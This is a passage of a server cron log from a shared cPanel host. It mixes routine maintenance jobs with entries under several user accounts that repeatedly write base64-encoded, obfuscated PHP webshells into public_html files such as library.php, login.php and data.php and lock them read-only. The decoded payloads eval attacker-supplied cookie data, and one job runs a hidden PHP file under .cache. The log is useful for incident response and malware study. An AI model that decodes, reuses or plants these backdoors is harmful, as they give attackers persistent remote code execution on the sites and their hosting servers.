coMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:25:01 medusa CROND[24337]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 13:25:01 medusa CROND[24341]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 13:25:02 medusa CROND[24350]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 13:25:02 medusa CROND[24351]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:25:02 medusa CROND[24352]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:25:02 medusa CROND[24353]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:25:02 medusa CROND[24354]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:25:02 medusa CROND[24356]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 13:25:02 medusa CROND[24355]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 13:25:02 medusa CROND[24360]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:25:02 medusa CROND[24367]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 13:25:02 medusa CROND[24370]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:25:02 medusa CROND[24368]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:25:02 medusa CROND[24373]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:25:02 medusa CROND[24374]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:25:02 medusa CROND[24375]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 13:25:02 medusa CROND[24371]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:25:02 medusa CROND[24369]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 13:25:02 medusa CROND[24376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:25:02 medusa CROND[24379]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 13:25:02 medusa CROND[24372]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 13:25:02 medusa CROND[24377]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 13:26:02 medusa CROND[26390]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 13:26:02 medusa CROND[26391]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:26:02 medusa CROND[26393]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:26:02 medusa CROND[26394]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:26:02 medusa CROND[26395]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 13:26:02 medusa CROND[26396]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:26:02 medusa CROND[26397]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:26:02 medusa CROND[26398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:26:02 medusa CROND[26399]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:26:02 medusa CROND[26405]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:26:02 medusa CROND[26406]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:26:02 medusa CROND[26401]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:26:02 medusa CROND[26411]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:26:02 medusa CROND[26414]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:27:01 medusa CROND[28170]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:27:01 medusa CROND[28179]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:27:01 medusa CROND[28181]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
